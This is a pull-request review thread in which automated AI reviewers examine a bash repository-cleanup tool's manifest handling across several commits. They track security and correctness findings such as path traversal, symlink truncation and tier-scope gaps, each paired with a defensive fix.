base computed from unnormalized $2	Correctness — Low	In clean_manifest_target_valid (line 449), base="${2##*/}" sees raw $2 before the rel="${2//\\//}" normalization. Backslash paths get base = src\lib\bin rather than bin, so dir-name lookups miss. False-rejection only (safe), but wrong. Fix: split the local into three lines.
Wrong-tier test missing assert_exit	Nitpick	clean-caches.test.sh lines 128–131 capture rc but never assert on it. Every other hardening test in the block has a matching assert_exit "… exits non-zero" 1 "$rc".
Global accumulators not reset between calls	Architecture — Low	CLEAN_CAND_ABS, CLEAN_PLANNED_COUNT, etc. initialized at source time only. Safe today (one call per process), fragile to extend.
allowed defaults to empty; tier check silently skipped when omitted	Suggestion	local … allowed="${3:-}" — an omitted third argument makes [[ -n "$allowed" ]] false and the tier filter never runs. All current call sites pass it correctly; the risk is a future call site that doesn't.
PID-based fallback manifest path guessable on shared runners	Suggestion	mktemp fallback uses $$ — predictable on Linux. Abort on mktemp failure instead.
clean_manifest_writable_target follows symlinks; empty-file targets bypass content check	Suggestion	[[ -f "$path" ]] follows symlinks; an attacker-supplied empty symlink target passes the -s guard and gets truncated. Add [[ -L "$path" ]] && return 1 before the -f check.

---

Summary

1967662 cleanly closes the remaining nitpick-class CLI contract issue. All CRITICAL and HIGH security findings from prior rounds remain resolved. The PR is in good shape to merge.

The two items most worth landing before or shortly after merge are the staleness guard test (a dark code path covering the PR's core protection re-check guarantee) and the base normalization one-liner in clean_manifest_target_valid. The other items are optional improvements.

[claude]

Claude finished @kyle-sexton's task in 2m 7s —— View job

---

Security Review — PR #1023 (HEAD 1967662)

• Read PR diff at HEAD and identify changed files
• Audit clean-common.sh — manifest handling paths
• Audit clean-build.sh and clean-caches.sh — entry points and flag parsing
• Verify status of all prior security findings at current HEAD
• Audit latest commit (1967662) for new issues
• Post findings

---

The latest commit (1967662, "reject a valueless --manifest instead of looping forever") closes the last outstanding nitpick from prior rounds. All previous CRITICAL and IMPORTANT findings are resolved. One SUGGESTION from prior rounds carries forward; one new low-severity observation on the same function.

---

Prior findings — resolution status at HEAD

CRITICAL: Arithmetic injection via bytes field — FIXED (9311037)

clean-common.sh line 518

[[ "$bytes" =~ ^[0-9]+$ ]] || bytes=0
CLEAN_REMOVED_BYTES=$((CLEAN_REMOVED_BYTES + bytes))

Numeric guard still in place. A crafted manifest bytes field coerces to 0 before bash arithmetic evaluates it. ✓

---

CRITICAL: Path traversal via rel field → arbitrary rm -rf — FIXED (9311037)

clean-common.sh lines 427–435

clean_manifest_rel_safe() rejects empty strings, absolute paths, and .. components (via case "/$norm/" in */../*)). Backslash normalization first. Still correct and unchanged. ✓

---

IMPORTANT: --apply --manifest <missing> exits 0 — FIXED (9311037)

clean-build.sh lines 91–94 / clean-caches.sh lines 79–82

Readability guards still in place. A missing or unreadable manifest exits 1 with a clear message. ✓

---

Codex P1: Arbitrary in-repo path removed via crafted manifest class/rel — FIXED (76d3617)

clean_manifest_target_valid() and the allowed tier filter are unchanged. A manifest entry naming an arbitrary untracked directory is rejected fail-closed. ✓

---

Codex P1: Regular file accepted as directory-name target — FIXED (137efb6)

clean_manifest_target_valid() gates dir-name candidates on -d and glob candidates on -f. Unchanged. ✓

---

Codex P2: --manifest truncates arbitrary existing file on dry-run — FIXED (137efb6)

clean_manifest_writable_target() refuses to overwrite an existing non-manifest file. Unchanged. ✓

---

Nitpick: --manifest without value caused infinite loop — FIXED (1967662)

clean-build.sh lines 57–60 / clean-caches.sh lines 51–54

if [[ $# -lt 2 ]]; then
  echo "clean-build.sh: --manifest requires a value" >&2
  exit 2
fi
MANIFEST_ARG="$2"
shift 2

[[ $# -lt 2 ]] correctly detects --manifest as the last argument (only one arg remaining). Previously ${2:-} left $2 empty and shift 2 failed without decrementing $#, causing the case loop to reprocess --manifest forever. Fix is correct and the regression test guards against a recurrence with a timeout. ✓

---

Remaining findings

SUGGESTION — allowed defaults to empty; tier check silently skipped if third argument is ever omitted

Confidence: MEDIUM

clean-common.sh line 494

clean_apply_manifest() {
  local root="$1" manifest="$2" allowed="${3:-}"
  ...
  if [[ -n "$allowed" && " $allowed " != *" $class "* ]]; then

When $3 is absent, allowed is empty string, [[ -n "$allowed" ]] short-circuits false, and the entire tier check is skipped — every manifest class is accepted. All four current call sites pass the argument ("build caches" or "caches"), so there is no active vulnerability. The risk is a future call site omitting the argument inadvertently bypasses tier isolation with no warning. The fix is a single line:

[[ -n "$allowed" ]] || { printf 'clean_apply_manifest: allowed_classes is required\n' >&2; return 1; }

or "${3:?allowed_classes must be provided}" as the default.

---

SUGGESTION — clean_manifest_writable_target follows symlinks; empty symlink target bypasses content check

Confidence: LOW

clean-common.sh lines 541–543

[[ -e "$path" ]] || return 0
[[ -f "$path" ]] || return 1
[[ -s "$path" ]] || return 0   # empty → writable; no content check

[[ -f "$path" ]] follows symlinks. If $path is a symlink to an empty regular file, the -s guard returns false (zero-size), so the function returns 0 (writable). The subsequent : >"$path" then truncates the symlink target rather than $path itself. Exploiting this via the explicit --manifest argument requires an attacker who can both supply --manifest and create a symlink at that path pointing to a target they want truncated — a scenario where the attacker already controls the invocation. Via the mktemp-generated path this is not reachable since mktemp is not guessable and this code path only runs for the explicit --manifest branch. Impact is therefore very low.

A one-line guard closes it completely:

[[ -L "$path" ]] && return 1

placed before the -f check.

---

Summary

The latest commit (1967662) correctly resolves the --manifest without-value infinite-loop via a [[ $# -lt 2 ]] guard, with a regression test using timeout. No new security issues were introduced. All CRITICAL and IMPORTANT findings across the review history are resolved at HEAD. The two remaining items are both SUGGESTION-level — the allowed default is theoretical (no current miscall) and the symlink check requires an adversary who already controls the CLI invocation.

[claude]

Claude finished @kyle-sexton's task in 5m 41s —— View job

---

PR Review — #1023 (HEAD 4d8b060)

• Gather context and understand PR scope
• Read commits 770ca04 and 4d8b060 (unreviewed since last completed review at 8f0a905)
• Read clean-common.sh at HEAD — verify Codex P2 findings from prior round
• Check test files for coverage gaps
• Post findings

---

Commit 4d8b060 is a comment-hygiene style change only (drop issue-ref from manifest-encoding comment) — no behavior change, no new issues.

Commit 770ca04 ("apply-loop fd isolation, honest bytes, dry-run/apply parity") addresses both Codex P2 findings from the 8f0a905 round, and finds a root-cause correctness bug that was lurking behind them. All prior CRITICAL and HIGH security findings remain resolved. Summary below.

---

✅ Resolved — Apply-loop fd drain (root-cause bug, 770ca04)

clean-common.sh lines 552–613

while IFS=$'\t' read -r class bytes rel <&3 || [[ -n "$class$bytes$rel" ]]; do
  ...
done 3<"$manifest"

clean_path_is_reparse_point shells out to fsutil to check for Windows junctions. fsutil inherits stdin from its caller — when the manifest loop read on fd 0, fsutil drained the rest of the manifest on every reparse check, silently skipping every entry after the first. A multi-target --apply --include-caches run removed the first target and reported success while leaving the rest. The fix reads the manifest on fd 3 and gives fsutil its own </dev/null. ✓

---

✅ Resolved — Reclaimed bytes re-measured from filesystem (Codex P2, 770ca04)

clean-common.sh lines 598–608

local kb
kb="$(du -sk "$abs" 2>/dev/null | awk '{print $1}')"
[[ "$kb" =~ ^[0-9]+$ ]] || kb=0
if rm -rf "$abs" 2>/dev/null; then
  CLEAN_REMOVED_BYTES=$((CLEAN_REMOVED_BYTES + kb * 1024))

Reclaimed bytes are now re-measured from the filesystem at removal time rather than trusting the manifest's dry-run byte field. This simultaneously fixes the stale-byte-count Codex finding (a target that grew after the plan reports accurate bytes) and eliminates the old arithmetic injection concern from a different angle — the manifest's bytes field is now read purely as a string and never reaches $((...)). The prior ^[0-9]+$ guard was correctly removed since bytes no longer touches arithmetic. Regression test 13 asserts that bytes=999999999 from a crafted manifest does not appear in the summary. ✓

---

✅ Resolved — Dry-run/apply parity for explicit caches (Codex P2, 770ca04)

clean-common.sh lines 291–296

for rel in "${CLEAN_CACHE_EXPLICIT[@]}"; do
  clean_is_plain_dir "$root/$rel" && printf '%s\n' "$root/$rel"
done
for rel in "${CLEAN_CACHE_EXPLICIT_FILES[@]}"; do
  clean_is_plain_file "$root/$rel" && printf '%s\n' "$root/$rel"
done

Explicit cache paths (those that bypass find's -type filter) are now type-checked at planning time using the same clean_is_plain_dir/clean_is_plain_file helpers that clean_manifest_target_valid uses at apply time. A file or symlink named .pytest_cache is filtered at dry-run rather than being planned, written to the manifest, then rejected as "not a caches target" at apply — making the advertised plan consistently applyable. Regression test 12 covers this. ✓

---

✅ Resolved — Unencodable-path guard (770ca04)

clean-common.sh lines 382–393

case "$abs" in
*$'\t'* | *$'\n'*)
  printf 'Skip (unencodable path): %s\n' "${abs#"$root"/}" >&2
  continue
  ;;

A candidate path containing a tab or newline cannot be encoded unambiguously in the tab-delimited, newline-terminated manifest — a tab in the path would be misread as a field separator, mapping to the wrong target at --apply. Such paths are now skipped with a warning rather than written as corrupt records. Regression test 14 covers this (with a capability probe, since NTFS rejects tab in filenames). ✓

---

Consolidated security status

All CRITICAL, HIGH, and IMPORTANT findings from the full review history remain resolved at HEAD.

Finding	Fixed in
Arithmetic injection via bytes field	9311037 (guard removed as moot in 770ca04)
Path traversal via rel → arbitrary rm -rf	9311037
Fail-open on missing manifest	9311037
Quadratic candidate dedup	9311037
Cross-tier / non-target manifest entry	76d3617
Regular file accepted as dir-name target	137efb6
--dry-run --manifest truncates non-manifest files	137efb6
--manifest without value loops forever	1967662
Manifest entries inside pruned trees	05f716a
No-trailing-newline / truncated record	694eb56
Uncreatable manifest path exits 0	8f0a905
Symlinked targets accepted by type-check	8f0a905
Apply-loop fd drain (root-cause, silent skips)	770ca04
Stale / caller-injected byte field in arithmetic	770ca04
Explicit caches planned but rejected at apply	770ca04
Paths with tabs/newlines corrupt the manifest	770ca04

---

Correctness — Medium (still outstanding)

Staleness guard has no manifest-flow integration test

clean_apply_manifest re-calls clean_target_eligible per entry — the protection re-check that is a first-class design goal (PR description: "a path that became protected since the dry-run is not removed"). The existing test at clean-build.test.sh lines 33–40 covers protection-detection in the full-dry-run path but not the manifest-consume path. No test exercises:

1. Create a build dir, run --dry-run --manifest P
2. Drop a .env inside the dir
3. Run --apply --manifest P
4. Assert Skip (protected descendant): appears and the dir is untouched

If clean_target_eligible or clean_dir_has_protected_descendant is ever refactored, this code path could silently regress.

Fix this →

---

Correctness — Low (still outstanding, carry-forward from 76d3617)

base computed from unnormalized $2 in clean_manifest_target_valid

clean-common.sh line 502

clean_manifest_target_valid() {
  local class="$1" rel="${2//\\//}" abs="$3" base="${2##*/}" e pat

Bash evaluates all initialisers in a single local declaration against the outer scope — base="${2##*/}" sees the raw $2 before the rel="${2//\\//}" normalization. A Windows-style path src\lib\bin gives base = src\lib\bin (no / to strip) rather than bin. The dir-name comparison loops then miss the legitimate match. The failure is a false rejection (safe — path preserved when it should be removed), but it means backslash manifests from any caller silently refuse to remove valid targets. The clean writer never produces backslash paths, so this only matters for the --apply --manifest surface with caller-supplied files on Windows. Fix: split into three local lines.

Fix this →

---

Nitpick — Wrong-tier test missing assert_exit (still outstanding)

clean-caches.test.sh lines 128–131

out="$(run_r2 --apply --manifest "$TEST_TMPDIR/r2.wrongtier.manifest" 2>&1)"
rc=$?
assert_contains "wrong-tier entry rejected" "$out" "Rejected (wrong tier): bin"
assert_file_exists "wrong-tier target preserved" "$TEST_TMPDIR/r2/bin/x"
# ← missing: assert_exit "wrong-tier apply exits non-zero" 1 "$rc"

Every other hardening test in the block (escape, inject, non-target, pruned-tree, type-mismatch, missing-manifest, malformed-record, uncreatable-manifest, symlink, file-named-cache, inflated-bytes) has a matching assert_exit. The wrong-tier case is the only exception.

Fix this →

---

Nitpick — clean-build.test.sh missing trailing --manifest parity test (still outstanding)

clean-build.sh received the same [[ $# -lt 2 ]] guard as clean-caches.sh in commit 1967662 but clean-build.test.sh ends at line 108 with no matching regression test. clean-caches.test.sh has a timeout-wrapped assert_exit 2 test for this case.

Fix this →

---

Still outstanding — Suggestion-level items (carry-forward)

Finding	Location	Note
allowed defaults to empty; tier check silently skipped if argument omitted	clean-common.sh line 550	All current call sites pass it correctly; a future call site that omits it bypasses tier isolation with no error signal
PID-based fallback manifest path guessable on shared runners	clean-common.sh line 650	mktemp fallback uses $$; abort on mktemp failure instead
clean_manifest_writable_target follows symlinks for manifest destination	clean-common.sh line 624	[[ -f "$path" ]] follows symlinks; an empty-target symlink passes the -s guard. [[ -L "$path" ]] && return 1 closes it

---

Note — CHANGELOG not updated for 770ca04 fixes

The 0.5.0 CHANGELOG entry (CHANGELOG.md lines 6–45) describes the design as originally planned but doesn't reflect the correctness and security fixes applied during the review cycle. In particular:

• Apply-loop fd drain (silent multi-entry skip)
• Bytes re-measured from filesystem (not manifest)
• Explicit caches filtered at planning for dry-run/apply parity

These are user-visible behavior corrections — the first is a bug fix with observable effect (--apply --include-caches now correctly removes all targets, not just the first). Worth a brief Fixed bullet under 0.5.0 before shipping, though the changelog-parity gate does not enforce this at per-commit granularity.

---

Summary

770ca04 is a well-executed set of correctness fixes that address both open Codex P2 findings and discovers a previously undetected root-cause bug (fd drain by fsutil). The fd isolation pattern (<&3 / done 3<"$manifest") is correct, the bytes re-measurement is properly guarded, and the dry-run/apply parity check is now consistent across explicit and found paths. 4d8b060 is a clean style-only change.

The PR is merge-ready from a security standpoint — all CRITICAL and HIGH findings across the full review history are resolved. The one item most worth landing before merge is the staleness guard test (Correctness — Medium), which covers a first-class design guarantee with no test coverage in the manifest-consume path. The base normalization one-liner and two missing assert_exit assertions are small follow-ups.

[claude]

Claude finished @kyle-sexton's task in 1m 51s —— View job

---

Security Review — PR #1023 (HEAD 4d8b060)

• Read PR diff at HEAD (4d8b060)
• Read clean-common.sh at current HEAD — verify prior findings
• Confirm status of all prior findings from 770ca04 round
• Report findings

---

The latest commit (4d8b060, "style(repo-hygiene): drop issue-ref from manifest-encoding comment") changes exactly one comment line in clean-common.sh — replacing the record #994 consumes with the record a downstream consumer parses. No logic, no security surface, no control flow is modified.

---

Prior findings — resolution status at HEAD

All CRITICAL and IMPORTANT findings from every prior review round remain resolved and unchanged.

Finding	Fixed in
Arithmetic injection via bytes field	9311037 / eliminated entirely in 770ca04
Path traversal via rel → arbitrary rm -rf	9311037
--apply --manifest MISSING exits 0	9311037
Quadratic candidate dedup	9311037
Cross-tier / non-target manifest entry	76d3617
Regular file accepted as dir-name target	137efb6
--dry-run --manifest truncates non-manifest files	137efb6
--manifest without value: infinite loop	1967662
Manifest entries inside pruned trees	05f716a
No-trailing-newline final record dropped	694eb56
Truncated manifest record silently skipped	694eb56
Uncreatable manifest path exits 0	8f0a905
Symlinked targets accepted by type-check	8f0a905
File/symlink with explicit-cache name planned at dry-run	770ca04
Stale byte field in summary arithmetic	770ca04
fsutil draining stdin swallows manifest records	770ca04

---

Remaining findings — SUGGESTION level (carry-forward, all unchanged)

SUGGESTION — allowed parameter defaults to empty; tier check silently disabled if $3 is ever omitted

Confidence: MEDIUM

clean-common.sh line 550

clean_apply_manifest() {
  local root="$1" manifest="$2" allowed="${3:-}"
  ...
  if [[ -n "$allowed" && " $allowed " != *" $class "* ]]; then

When $3 is absent, allowed="" and [[ -n "$allowed" ]] short-circuits to false — the tier boundary is silently not enforced. All four current call sites pass the argument correctly ("build caches" / "caches"). No active vulnerability. The risk is a future call site omitting it and silently bypassing tier isolation. An explicit guard makes the omission loud:

[[ -n "$allowed" ]] || { printf 'clean_apply_manifest: allowed_classes is required\n' >&2; return 1; }

Fix this →

---

SUGGESTION — PID-based fallback manifest path is guessable on shared CI runners

Confidence: MEDIUM

clean-common.sh line 650

path="$(mktemp 2>/dev/null)" || path="${TMPDIR:-/tmp}/clean-manifest.$$"

The $$-suffixed fallback (only reached when mktemp fails) uses a sequential and guessable PID on Linux. On a shared CI runner a co-tenant who predicts $$ and pre-creates /tmp/clean-manifest.<pid> as a symlink to an empty file causes the subsequent (: >"$path") subshell to truncate the symlink target. The primary mktemp path is safe. Aborting on mktemp failure eliminates the window:

path="$(mktemp 2>/dev/null)" || { printf 'clean_manifest_path: mktemp failed\n' >&2; return 1; }

Fix this →

---

SUGGESTION — clean_manifest_writable_target follows symlinks; empty-file symlink target bypasses content guard

Confidence: LOW

clean-common.sh lines 623–625

[[ -e "$path" ]] || return 0
[[ -f "$path" ]] || return 1
[[ -s "$path" ]] || return 0   # empty → writable, no content check

[[ -f "$path" ]] follows symlinks. A --manifest argument pointing at a symlink to an empty regular file passes the -s guard (zero-size → false → returns 0/writable), and the subsequent (: >"$path") truncates the symlink's target. Exploiting this requires an attacker who controls both the explicit --manifest argument and can create a symlink at that path — a narrow scenario. [[ -L "$path" ]] && return 1 as a second guard closes it cleanly:

[[ -e "$path" ]] || return 0
[[ -L "$path" ]] && return 1   # ← add this
[[ -f "$path" ]] || return 1
[[ -s "$path" ]] || return 0

Fix this →

---

Summary

Commit 4d8b060 is a single-line comment change with no security impact. All CRITICAL and IMPORTANT findings across the full review history (16 findings across 11 prior rounds) remain resolved at HEAD. The three remaining items are all SUGGESTION-level and carry forward unchanged from the 770ca04 round — none is a blocker for merge.

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 4d8b060be2

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[claude]

Claude finished @kyle-sexton's task in 4m 6s —— View job

---

PR Review — #1023 (HEAD 9b14290)

• Gather context and read changed files
• Review latest commit (9b14290) and status of outstanding findings
• Check for the unaddressed Codex P2 (--include-caches allowed-classes gap)
• Post findings

---

Commit 9b14290 ("style: fix spell-check hits in comments") rewrites two comment phrases to satisfy the typos linter — "applyable" → "can still be applied", "mis-mapped" → "not mapped to a wrong path". No logic, no security surface, no tests changed. The commit is clean.

All CRITICAL and HIGH security findings from earlier review rounds remain resolved at HEAD. One new correctness issue was introduced in the 4d8b060 round and was not flagged in subsequent PR review comments; it remains unaddressed at HEAD.

---

Correctness — Medium (new, unaddressed since 4d8b060)

--include-caches is not honored at --apply --manifest time — build and caches are always both allowed

clean-build.sh lines 95 and 120

# Line 95 — manifest-based apply fast path:
clean_apply_manifest "$REPO_ROOT" "$MANIFEST_ARG" "build caches"

# Line 120 — fresh-manifest apply path:
clean_apply_manifest "$REPO_ROOT" "$MANIFEST" "build caches"

Both call sites hardcode "build caches" as the allowed-classes argument regardless of the INCLUDE_CACHES flag. This means:

1. clean-build.sh --apply --manifest M (without --include-caches) accepts caches-class entries in M even though the dry-run for the same invocation would not have planned any. A manifest produced by a --include-caches dry-run, or a tampered build-only manifest, silently removes caches entries the user did not intend.

2. The existing test at clean-build.test.sh line 91 demonstrates the gap: it applies a manifest built with --include-caches but invokes --apply --manifest without --include-caches, and the test currently passes because the hardcoded "build caches" allows the caches entry through.

Fix — derive allowed classes from INCLUDE_CACHES:

In the manifest fast-path block (if [[ "$DRY_RUN" -eq 0 && -n "$MANIFEST_ARG" ]], lines 90–100):

local _allowed="build"
[[ "$INCLUDE_CACHES" -eq 1 ]] && _allowed="build caches"
clean_apply_manifest "$REPO_ROOT" "$MANIFEST_ARG" "$_allowed"

And identically at line 120. The test at line 91 should then also add --include-caches:

out="$(run_b2 --apply --include-caches --manifest "$MANI")"

Fix this →

---

Correctness — Medium (carry-forward, still unresolved)

Staleness guard has no integration test

clean_apply_manifest re-calls clean_target_eligible per entry — this is the core protection re-check: a path that gained a .env between dry-run and apply is not removed. The code is correct but the code path is dark: no test exercises:

1. Create a dist/ dir, run --dry-run --manifest P
2. Drop a .env inside dist/
3. Run --apply --manifest P
4. Assert Skip (protected descendant): appears and dist/ is untouched

clean-build.test.sh covers protection-detection in the full --apply path (lines 35–40) but not through the manifest-consume path. A future refactor of clean_target_eligible or clean_dir_has_protected_descendant could silently regress the guarantee.

Fix this →

---

Correctness — Low (carry-forward from 76d3617)

base computed from unnormalized $2 in clean_manifest_target_valid

clean-common.sh line 502

clean_manifest_target_valid() {
  local class="$1" rel="${2//\\//}" abs="$3" base="${2##*/}" e pat

Bash evaluates all initialisers in a single local declaration against the outer scope — base="${2##*/}" sees the raw $2 before the rel="${2//\\//}" normalization. A Windows-style path src\lib\bin gives base = src\lib\bin (no / to strip) rather than bin. The dir-name comparison loops miss the match and the entry is rejected as "not a build target" — a false rejection. The failure is safe (path is preserved, not incorrectly removed) and the clean writer never produces backslash paths, but the fix is one line:

clean_manifest_target_valid() {
  local class="$1" abs="$3" e pat
  local rel="${2//\\//}"
  local base="${rel##*/}"

Fix this →

---

Nitpick — Wrong-tier test missing assert_exit (carry-forward)

clean-caches.test.sh lines 128–131

out="$(run_r2 --apply --manifest "$TEST_TMPDIR/r2.wrongtier.manifest" 2>&1)"
rc=$?
assert_contains "wrong-tier entry rejected" "$out" "Rejected (wrong tier): bin"
assert_file_exists "wrong-tier target preserved" "$TEST_TMPDIR/r2/bin/x"
# ← missing: assert_exit "wrong-tier apply exits non-zero" 1 "$rc"

Every other hardening test in the block — escape, inject, non-target, pruned-tree, type-mismatch, missing-manifest, malformed-record, uncreatable-manifest, symlink, file-named-cache, inflated-bytes — has a matching assert_exit. The wrong-tier case is the only exception. One line to add.

Fix this →

---

Nitpick — clean-build.test.sh missing trailing --manifest parity test (carry-forward)

clean-build.sh received the same [[ $# -lt 2 ]] guard as clean-caches.sh in commit 1967662, but clean-build.test.sh still ends at line 108 with no matching regression test. clean-caches.test.sh test 9 covers this with a timeout-wrapped invocation, assert_exit 2, and assert_contains "--manifest requires a value". A parity test pins the contract for both scripts.

Fix this →

---

Still outstanding — Suggestion-level items (carry-forward)

Finding	Location	Note
allowed defaults to empty; tier check silently skipped if $3 ever omitted	clean-common.sh line 550	local … allowed="${3:-}" — a future call site omitting the argument bypasses tier isolation with no runtime signal. Guard: [[ -n "$allowed" ]] || { printf '…' >&2; return 1; }
PID-based fallback manifest path guessable on shared runners	clean-common.sh line 650	path="…/clean-manifest.$$" — abort on mktemp failure instead
clean_manifest_writable_target follows symlinks	clean-common.sh lines 623–625	[[ -f "$path" ]] follows links; add [[ -L "$path" ]] && return 1 before the -f check

---

Summary of all findings across full review history

Finding	Fixed in
Arithmetic injection via bytes field	9311037 / eliminated in 770ca04
Path traversal via rel → arbitrary rm -rf	9311037
Fail-open on missing manifest	9311037
Quadratic candidate dedup	9311037
Cross-tier / non-target manifest entry	76d3617
Regular file accepted as dir-name target	137efb6
--dry-run --manifest truncates non-manifest files	137efb6
--manifest without value loops forever	1967662
Manifest entries inside pruned trees	05f716a
No-trailing-newline / truncated record	694eb56
Uncreatable manifest path exits 0	8f0a905
Symlinked targets accepted by type-check	8f0a905
Apply-loop fd drain (fsutil drains stdin)	770ca04
Stale byte field in summary arithmetic	770ca04
Explicit caches planned but rejected at apply	770ca04
Paths with tabs/newlines corrupt the manifest	770ca04
--include-caches ignored at --apply --manifest time	unresolved
Staleness guard test	unresolved
base from unnormalized $2	unresolved

The PR is near merge-ready. The --include-caches correctness finding is the most important remaining item: it means the --include-caches flag has no effect when --apply --manifest is used, which contradicts the CLI contract and allows a manifest with caches entries to run even when the flag was not passed. The staleness guard test and the base one-liner are the next priorities; the nitpicks and suggestions are optional.

[claude]

Claude finished @kyle-sexton's task in 2m 12s —— View job

---

Security Review — PR #1023 (HEAD 9b14290)

• Read latest commits since last completed security review (4d8b060)
• Read clean-common.sh at HEAD — verify prior findings still resolved
• Check for new security issues in latest commits
• Post findings

---

The two latest commits (9b14290 "fix spell-check hits in comments" and 4d8b060 "drop issue-ref from manifest-encoding comment") change only comment text — no logic, no control flow, no security surface is affected.

All CRITICAL and IMPORTANT findings from every prior review round remain resolved at HEAD. One new Codex P2 finding (flagged at 4d8b060) has not yet been addressed; three SUGGESTION items carry forward unchanged.

---

SUGGESTION — --apply --manifest ignores --include-caches flag; always permits caches entries

Confidence: MEDIUM

clean-build.sh line 95

# Line 95 — prebuilt manifest path (--apply --manifest P, before enumeration):
clean_apply_manifest "$REPO_ROOT" "$MANIFEST_ARG" "build caches"

Both --apply --manifest call sites (line 95, the prebuilt-manifest fast-path, and line 120, the standard apply path) pass "build caches" as the allowed-class list unconditionally, even when --include-caches was not set. In the normal agent flow this is harmless — a dry-run without --include-caches never writes caches-class entries to the manifest. But when a user passes --apply --manifest PATH with an externally supplied or tampered manifest that contains caches-class entries, those entries are accepted and the caches are removed regardless of the flag.

clean_manifest_target_valid still gates each entry against the known-candidate-rule registry, so the worst case is removal of a path that is a legitimate cache directory rather than an arbitrary one. The scope violation is narrow but real. Fix:

# Derive the allowed set from the actual flag, not a static string:
_allowed_classes="build"
[[ "$INCLUDE_CACHES" -eq 1 ]] && _allowed_classes="build caches"
clean_apply_manifest "$REPO_ROOT" "$MANIFEST_ARG" "$_allowed_classes"

The same pattern would apply to line 120 (standard apply path, after enumeration).

---

SUGGESTION — allowed parameter defaults to empty; tier check silently disabled if $3 ever omitted

Confidence: MEDIUM (carry-forward)

clean-common.sh line 550

clean_apply_manifest() {
  local root="$1" manifest="$2" allowed="${3:-}"
  ...
  if [[ -n "$allowed" && " $allowed " != *" $class "* ]]; then

When $3 is absent, allowed="" and [[ -n "$allowed" ]] short-circuits to false — the tier boundary is silently not enforced. All four current call sites pass the argument correctly. The risk is a future call site omitting the argument and getting no runtime signal. An explicit guard converts the omission to a loud failure:

[[ -n "$allowed" ]] || { printf 'clean_apply_manifest: allowed_classes is required\n' >&2; return 1; }

---

SUGGESTION — PID-based fallback manifest path guessable on shared CI runners

Confidence: MEDIUM (carry-forward)

clean-common.sh line 650

path="$(mktemp 2>/dev/null)" || path="${TMPDIR:-/tmp}/clean-manifest.$$"

The $$-suffixed fallback is only reached when mktemp fails. On Linux, PIDs are sequential and guessable. On a shared CI runner a co-tenant who predicts $$ and pre-creates /tmp/clean-manifest.<pid> as a symlink to an empty file causes the subsequent (: >"$path") subshell to truncate the symlink target. Aborting on mktemp failure eliminates this window entirely:

path="$(mktemp 2>/dev/null)" || { printf 'clean_manifest_path: mktemp failed\n' >&2; return 1; }

---

SUGGESTION — clean_manifest_writable_target follows symlinks; empty-file symlink bypasses content check

Confidence: LOW (carry-forward)

clean-common.sh lines 623–625

[[ -e "$path" ]] || return 0
[[ -f "$path" ]] || return 1
[[ -s "$path" ]] || return 0   # empty → writable without content check

[[ -f "$path" ]] follows symlinks. A --manifest argument pointing at a symlink to an empty regular file passes the -s guard (zero-size → false → returns 0/writable), and the subsequent (: >"$path") truncates the symlink's target. Exploiting this requires controlling both the explicit --manifest argument and the ability to create a symlink at that path — a narrow scenario. [[ -L "$path" ]] && return 1 as a second guard closes it:

[[ -e "$path" ]] || return 0
[[ -L "$path" ]] && return 1   # ← add this
[[ -f "$path" ]] || return 1
[[ -s "$path" ]] || return 0

---

Summary

Commits 9b14290 and 4d8b060 are comment-only style changes with no security impact. All CRITICAL and IMPORTANT findings across the full review history (16 findings, 12 prior rounds) remain resolved at HEAD. The four remaining items are all SUGGESTION-level. The --include-caches scope finding is the highest-priority of the four — it is a one-line fix that tightens the tier boundary in the prebuilt-manifest fast-path. None is a blocker for merge.

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 9b14290de1

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[claude]

Claude finished @kyle-sexton's task in 4m 25s —— View job

---

PR Review — #1023 (HEAD c84086d)

• Gather context and read latest commit diff
• Read clean-common.sh at HEAD — verify symlinked-ancestor fix
• Check test files for coverage of the new fix and remaining gaps
• Review outstanding findings from prior rounds
• Post findings

---

Commit c84086d ("fix(repo-hygiene): reject manifest paths through a symlinked ancestor") closes the Codex P1 finding from the 9b14290 round: a manifest entry like link/__pycache__ where link is a symlink pointing outside the repo can no longer let rm -rf follow the ancestor out of the repository. The fix is architecturally sound, but it introduces a test assertion mismatch with test 11 (added in 8f0a905). All prior CRITICAL and HIGH security findings remain resolved.

---

Correctness — Medium (new in c84086d)

Test 11 assertion now fails: clean_path_has_reparse_ancestor also catches direct-target symlinks, changing the error message

clean-common.sh lines 472–483 / clean-caches.test.sh line 222

clean_path_has_reparse_ancestor iterates over every component of rel — including the final target — and returns 0 as soon as any component is a reparse point. For link/__pycache__ this is correct: the intermediate link component is a symlink, caught early, and rejected with "Rejected (symlinked ancestor): link/__pycache__". ✓

However, for .turbo (a single-component path where .turbo itself is the symlink target), the function also fires:

IFS=/ read -r -a parts <<<"${2//\\//}"   # parts = [".turbo"]
for seg in "${parts[@]}"; do
  cur="$cur/$seg"                         # cur = "$root/.turbo"
  clean_path_is_reparse_point "$cur" && return 0   # [[ -L ]] is true → return 0
done

The output is "Rejected (symlinked ancestor): .turbo", but test 11 (added in 8f0a905) asserts:

assert_contains "symlinked dir target rejected" "$out" "Rejected (not a caches target): .turbo"

The security property is unchanged — .turbo is still correctly rejected — but the error message changed. Test 11 would fail on any filesystem that supports symlink creation (all Linux CI runs).

The minimal fix is a one-line update to test 11:

# Before (now wrong):
assert_contains "symlinked dir target rejected" "$out" "Rejected (not a caches target): .turbo"
# After:
assert_contains "symlinked dir target rejected" "$out" "Rejected (symlinked ancestor): .turbo"

Alternatively, the function can be scoped to ANCESTOR directories only (all components except the final segment), letting clean_manifest_target_valid continue to handle the direct-target case via clean_is_plain_dir — but this requires more invasive code changes. The one-line test update is simpler and equally correct.

Fix this →

---

✅ Resolved — Symlinked ancestor traversal (new in c84086d)

clean-common.sh lines 610–614

if clean_path_has_reparse_ancestor "$root" "$rel"; then
  printf 'Rejected (symlinked ancestor): %s\n' "$rel" >&2
  CLEAN_FAILED_COUNT=$((CLEAN_FAILED_COUNT + 1))
  continue
fi

